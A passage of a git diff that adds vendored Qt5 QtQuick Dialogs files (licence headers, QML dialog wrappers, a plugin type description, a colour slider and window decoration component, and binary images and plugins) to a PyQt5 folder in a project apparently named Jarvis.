+****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.PrivateWidgets 1.0 + +QtFileDialog { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qmlc new file mode 100644 index 00000000..cffd7a28 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qml new file mode 100644 index 00000000..e1a10e57 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qml @@ -0,0 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.PrivateWidgets 1.1 + +QtFontDialog { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qmlc new file mode 100644 index 00000000..96fca2e6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qml new file mode 100644 index 00000000..52e8f1c1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qml @@ -0,0 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.PrivateWidgets 1.1 + +QtMessageDialog { } diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qmlc new file mode 100644 index 00000000..d5d4d7f1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/dialogplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/dialogplugin.dll new file mode 100644 index 00000000..04df3790 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/dialogplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkers.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkers.png new file mode 100644 index 00000000..72cb9f03 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkers.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkmark.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkmark.png new file mode 100644 index 00000000..821aafcc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkmark.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/copy.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/copy.png new file mode 100644 index 00000000..2aeb2828 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/copy.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/critical.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/critical.png new file mode 100644 index 00000000..dc9c5aeb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/critical.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/crosshairs.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/crosshairs.png new file mode 100644 index 00000000..9a61946e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/crosshairs.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/information.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/information.png new file mode 100644 index 00000000..0a2eb87d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/information.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/question.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/question.png new file mode 100644 index 00000000..2dd92fd7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/question.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/slider_handle.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/slider_handle.png new file mode 100644 index 00000000..e3b96543 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/slider_handle.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/sunken_frame.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/sunken_frame.png new file mode 100644 index 00000000..178c3092 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/sunken_frame.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/warning.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/warning.png new file mode 100644 index 00000000..cba78f6b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/warning.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/window_border.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/window_border.png new file mode 100644 index 00000000..23c011d0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/images/window_border.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/plugins.qmltypes new file mode 100644 index 00000000..559bb48a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/plugins.qmltypes @@ -0,0 +1,484 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.Dialogs 1.3' + +Module { + dependencies: [ + "Qt.labs.folderlistmodel 2.1", + "Qt.labs.settings 1.0", + "QtGraphicalEffects 1.12", + "QtQml 2.14", + "QtQml.Models 2.2", + "QtQuick 2.9", + "QtQuick.Controls 1.5", + "QtQuick.Controls.Styles 1.4", + "QtQuick.Extras 1.4", + "QtQuick.Layouts 1.1", + "QtQuick.Window 2.2" + ] + Component { + name: "QQuickAbstractColorDialog" + prototype: "QQuickAbstractDialog" + Property { name: "showAlphaChannel"; type: "bool" } + Property { name: "color"; type: "QColor" } + Property { name: "currentColor"; type: "QColor" } + Property { name: "currentHue"; type: "double"; isReadonly: true } + Property { name: "currentSaturation"; type: "double"; isReadonly: true } + Property { name: "currentLightness"; type: "double"; isReadonly: true } + Property { name: "currentAlpha"; type: "double"; isReadonly: true } + Signal { name: "selectionAccepted" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setModality" + Parameter { name: "m"; type: "Qt::WindowModality" } + } + Method { + name: "setTitle" + Parameter { name: "t"; type: "string" } + } + Method { + name: "setColor" + Parameter { name: "arg"; type: "QColor" } + } + Method { + name: "setCurrentColor" + Parameter { name: "currentColor"; type: "QColor" } + } + Method { + name: "setShowAlphaChannel" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + name: "QQuickAbstractDialog" + prototype: "QObject" + Enum { + name: "StandardButton" + values: { + "NoButton": 0, + "Ok": 1024, + "Save": 2048, + "SaveAll": 4096, + "Open": 8192, + "Yes": 16384, + "YesToAll": 32768, + "No": 65536, + "NoToAll": 131072, + "Abort": 262144, + "Retry": 524288, + "Ignore": 1048576, + "Close": 2097152, + "Cancel": 4194304, + "Discard": 8388608, + "Help": 16777216, + "Apply": 33554432, + "Reset": 67108864, + "RestoreDefaults": 134217728, + "NButtons": 134217729 + } + } + Enum { + name: "StandardButtons" + values: { + "NoButton": 0, + "Ok": 1024, + "Save": 2048, + "SaveAll": 4096, + "Open": 8192, + "Yes": 16384, + "YesToAll": 32768, + "No": 65536, + "NoToAll": 131072, + "Abort": 262144, + "Retry": 524288, + "Ignore": 1048576, + "Close": 2097152, + "Cancel": 4194304, + "Discard": 8388608, + "Help": 16777216, + "Apply": 33554432, + "Reset": 67108864, + "RestoreDefaults": 134217728, + "NButtons": 134217729 + } + } + Property { name: "visible"; type: "bool" } + Property { name: "modality"; type: "Qt::WindowModality" } + Property { name: "title"; type: "string" } + Property { name: "isWindow"; type: "bool"; isReadonly: true } + Property { name: "x"; type: "int" } + Property { name: "y"; type: "int" } + Property { name: "width"; type: "int" } + Property { name: "height"; type: "int" } + Property { name: "__maximumDimension"; type: "int"; isReadonly: true } + Signal { name: "visibilityChanged" } + Signal { name: "geometryChanged" } + Signal { name: "accepted" } + Signal { name: "rejected" } + Method { name: "open" } + Method { name: "close" } + Method { + name: "setX" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setY" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setWidth" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setHeight" + Parameter { name: "arg"; type: "int" } + } + } + Component { + name: "QQuickAbstractFileDialog" + prototype: "QQuickAbstractDialog" + Property { name: "selectExisting"; type: "bool" } + Property { name: "selectMultiple"; type: "bool" } + Property { name: "selectFolder"; type: "bool" } + Property { name: "folder"; type: "QUrl" } + Property { name: "nameFilters"; type: "QStringList" } + Property { name: "selectedNameFilter"; type: "string" } + Property { name: "selectedNameFilterExtensions"; type: "QStringList"; isReadonly: true } + Property { name: "selectedNameFilterIndex"; type: "int" } + Property { name: "fileUrl"; type: "QUrl"; isReadonly: true } + Property { name: "fileUrls"; type: "QList"; isReadonly: true } + Property { name: "sidebarVisible"; type: "bool" } + Property { name: "defaultSuffix"; type: "string" } + Property { name: "shortcuts"; type: "QJSValue"; isReadonly: true } + Property { name: "__shortcuts"; type: "QJSValue"; isReadonly: true } + Signal { name: "filterSelected" } + Signal { name: "fileModeChanged" } + Signal { name: "selectionAccepted" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setTitle" + Parameter { name: "t"; type: "string" } + } + Method { + name: "setSelectExisting" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setSelectMultiple" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setSelectFolder" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setFolder" + Parameter { name: "f"; type: "QUrl" } + } + Method { + name: "setNameFilters" + Parameter { name: "f"; type: "QStringList" } + } + Method { + name: "selectNameFilter" + Parameter { name: "f"; type: "string" } + } + Method { + name: "setSelectedNameFilterIndex" + Parameter { name: "idx"; type: "int" } + } + Method { + name: "setSidebarVisible" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setDefaultSuffix" + Parameter { name: "suffix"; type: "string" } + } + } + Component { + name: "QQuickAbstractFontDialog" + prototype: "QQuickAbstractDialog" + Property { name: "scalableFonts"; type: "bool" } + Property { name: "nonScalableFonts"; type: "bool" } + Property { name: "monospacedFonts"; type: "bool" } + Property { name: "proportionalFonts"; type: "bool" } + Property { name: "font"; type: "QFont" } + Property { name: "currentFont"; type: "QFont" } + Signal { name: "selectionAccepted" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setModality" + Parameter { name: "m"; type: "Qt::WindowModality" } + } + Method { + name: "setTitle" + Parameter { name: "t"; type: "string" } + } + Method { + name: "setFont" + Parameter { name: "arg"; type: "QFont" } + } + Method { + name: "setCurrentFont" + Parameter { name: "arg"; type: "QFont" } + } + Method { + name: "setScalableFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setNonScalableFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setMonospacedFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setProportionalFonts" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + name: "QQuickAbstractMessageDialog" + prototype: "QQuickAbstractDialog" + Enum { + name: "Icon" + values: { + "NoIcon": 0, + "Information": 1, + "Warning": 2, + "Critical": 3, + "Question": 4 + } + } + Property { name: "text"; type: "string" } + Property { name: "informativeText"; type: "string" } + Property { name: "detailedText"; type: "string" } + Property { name: "icon"; type: "Icon" } + Property { name: "standardIconSource"; type: "QUrl"; isReadonly: true } + Property { name: "standardButtons"; type: "QQuickAbstractDialog::StandardButtons" } + Property { + name: "clickedButton" + type: "QQuickAbstractDialog::StandardButton" + isReadonly: true + } + Signal { name: "buttonClicked" } + Signal { name: "discard" } + Signal { name: "help" } + Signal { name: "yes" } + Signal { name: "no" } + Signal { name: "apply" } + Signal { name: "reset" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setTitle" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setText" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setInformativeText" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setDetailedText" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setIcon" + Parameter { name: "icon"; type: "Icon" } + } + Method { + name: "setStandardButtons" + Parameter { name: "buttons"; type: "StandardButtons" } + } + Method { + name: "click" + Parameter { name: "button"; type: "QQuickAbstractDialog::StandardButton" } + } + } + Component { + name: "QQuickColorDialog" + defaultProperty: "contentItem" + prototype: "QQuickAbstractColorDialog" + exports: ["QtQuick.Dialogs/AbstractColorDialog 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QQuickDialog1" + defaultProperty: "contentItem" + prototype: "QQuickAbstractDialog" + exports: ["QtQuick.Dialogs/AbstractDialog 1.2"] + exportMetaObjectRevisions: [0] + Property { name: "title"; type: "string" } + Property { name: "standardButtons"; type: "QQuickAbstractDialog::StandardButtons" } + Property { + name: "clickedButton" + type: "QQuickAbstractDialog::StandardButton" + isReadonly: true + } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Signal { name: "buttonClicked" } + Signal { name: "discard" } + Signal { name: "help" } + Signal { name: "yes" } + Signal { name: "no" } + Signal { name: "apply" } + Signal { name: "reset" } + Method { + name: "setTitle" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setStandardButtons" + Parameter { name: "buttons"; type: "StandardButtons" } + } + Method { + name: "click" + Parameter { name: "button"; type: "QQuickAbstractDialog::StandardButton" } + } + Method { name: "__standardButtonsLeftModel"; type: "QJSValue" } + Method { name: "__standardButtonsRightModel"; type: "QJSValue" } + } + Component { + name: "QQuickFileDialog" + defaultProperty: "contentItem" + prototype: "QQuickAbstractFileDialog" + exports: ["QtQuick.Dialogs/AbstractFileDialog 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Method { name: "clearSelection" } + Method { + name: "addSelection" + type: "bool" + Parameter { name: "path"; type: "QUrl" } + } + } + Component { + name: "QQuickFontDialog" + defaultProperty: "contentItem" + prototype: "QQuickAbstractFontDialog" + exports: ["QtQuick.Dialogs/AbstractFontDialog 1.1"] + exportMetaObjectRevisions: [0] + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QQuickMessageDialog" + defaultProperty: "contentItem" + prototype: "QQuickAbstractMessageDialog" + exports: ["QtQuick.Dialogs/AbstractMessageDialog 1.1"] + exportMetaObjectRevisions: [0] + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QQuickStandardButton" + exports: ["QtQuick.Dialogs/StandardButton 1.1"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickStandardIcon" + exports: ["QtQuick.Dialogs/StandardIcon 1.1"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + prototype: "QQuickColorDialog" + name: "QtQuick.Dialogs/ColorDialog 1.0" + exports: ["QtQuick.Dialogs/ColorDialog 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentItem" + Property { name: "__valueSet"; type: "bool" } + Method { name: "__setControlsFromColor"; type: "QVariant" } + } + Component { + prototype: "QQuickDialog1" + name: "QtQuick.Dialogs/Dialog 1.2" + exports: ["QtQuick.Dialogs/Dialog 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Signal { + name: "actionChosen" + Parameter { name: "action"; type: "QVariant" } + } + Method { name: "setupButtons"; type: "QVariant" } + } + Component { + prototype: "QQuickDialog1" + name: "QtQuick.Dialogs/Dialog 1.3" + exports: ["QtQuick.Dialogs/Dialog 1.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Signal { + name: "actionChosen" + Parameter { name: "action"; type: "QVariant" } + } + Method { name: "setupButtons"; type: "QVariant" } + } + Component { + prototype: "QQuickFileDialog" + name: "QtQuick.Dialogs/FileDialog 1.0" + exports: ["QtQuick.Dialogs/FileDialog 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentItem" + Property { name: "modelComponent"; type: "QQmlComponent"; isPointer: true } + Property { name: "settings"; type: "QQmlSettings"; isPointer: true } + Property { name: "showFocusHighlight"; type: "bool" } + Property { name: "palette"; type: "QQuickSystemPalette"; isPointer: true } + Property { name: "favoriteFolders"; type: "QVariant" } + Property { name: "dirUpAction"; type: "QQuickAction1"; isPointer: true } + Method { + name: "dirDown" + type: "QVariant" + Parameter { name: "path"; type: "QVariant" } + } + Method { name: "dirUp"; type: "QVariant" } + Method { name: "acceptSelection"; type: "QVariant" } + } + Component { + prototype: "QQuickFontDialog" + name: "QtQuick.Dialogs/FontDialog 1.1" + exports: ["QtQuick.Dialogs/FontDialog 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "contentItem" + Property { name: "font"; type: "QFont" } + Property { name: "currentFont"; type: "QFont" } + } + Component { + prototype: "QQuickMessageDialog" + name: "QtQuick.Dialogs/MessageDialog 1.1" + exports: ["QtQuick.Dialogs/MessageDialog 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "contentItem" + Method { name: "calculateImplicitWidth"; type: "QVariant" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qml new file mode 100644 index 00000000..8322910f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qml @@ -0,0 +1,139 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls.Private 1.0 + +Item { + id: colorSlider + + property real value: 1 + property real maximum: 1 + property real minimum: 0 + property string text: "" + property bool pressed: mouseArea.pressed + property bool integer: false + property Component trackDelegate + property string handleSource: "../images/slider_handle.png" + + width: parent.width + height: handle.height + textText.implicitHeight + + function updatePos() { + if (maximum > minimum) { + var pos = (track.width - 10) * (value - minimum) / (maximum - minimum) + 5; + return Math.min(Math.max(pos, 5), track.width - 5) - 10; + } else { + return 5; + } + } + + SystemPalette { id: palette } + + Column { + id: column + width: parent.width + spacing: 12 + Text { + id: textText + anchors.horizontalCenter: parent.horizontalCenter + text: colorSlider.text + anchors.left: parent.left + color: palette.windowText + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + + Item { + id: track + height: 8 + anchors.left: parent.left + anchors.right: parent.right + + Loader { + sourceComponent: trackDelegate + width: parent.height + height: parent.width + y: width + } + + BorderImage { + source: "../images/sunken_frame.png" + border.left: 8 + border.right: 8 + border.top:8 + border.bottom: 8 + anchors.fill: track + anchors.margins: -1 + anchors.topMargin: -2 + anchors.leftMargin: -2 + } + + Image { + id: handle + anchors.verticalCenter: parent.verticalCenter + smooth: true + source: "../images/slider_handle.png" + x: updatePos() - 8 + z: 1 + } + + MouseArea { + id: mouseArea + anchors {left: parent.left; right: parent.right; verticalCenter: parent.verticalCenter} + height: handle.height + width: handle.width + preventStealing: true + + onPressed: { + var handleX = Math.max(0, Math.min(mouseX, mouseArea.width)) + var realValue = (maximum - minimum) * handleX / mouseArea.width + minimum; + value = colorSlider.integer ? Math.round(realValue) : realValue; + } + + onPositionChanged: { + if (pressed) { + var handleX = Math.max(0, Math.min(mouseX, mouseArea.width)) + var realValue = (maximum - minimum) * handleX / mouseArea.width + minimum; + value = colorSlider.integer ? Math.round(realValue) : realValue; + } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qmlc new file mode 100644 index 00000000..577d4742 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qml new file mode 100644 index 00000000..ceb8b215 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +Rectangle { + color: "#80000000" + anchors.fill: parent + z: 1000000 + property alias content: borderImage.content + property bool dismissOnOuterClick: true + signal dismissed + MouseArea { + anchors.fill: parent + onClicked: if (dismissOnOuterClick) dismissed() + BorderImage { + id: borderImage + property Item content + + MouseArea { anchors.fill: parent } + + width: content ? content.width + 15 : 0 + height: content ? content.height + 15 : 0 + onWidthChanged: if (content) content.x = 5 + onHeightChanged: if (content) content.y = 5 + border { left: 10; top: 10; right: 10; bottom: 10 } + clip: true + source: "../images/window_border.png" + anchors.centerIn: parent + onContentChanged: if (content) content.parent = borderImage + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qmlc new file mode 100644 index 00000000..51139d48 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qml new file mode 100644 index 00000000..a09debeb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2016 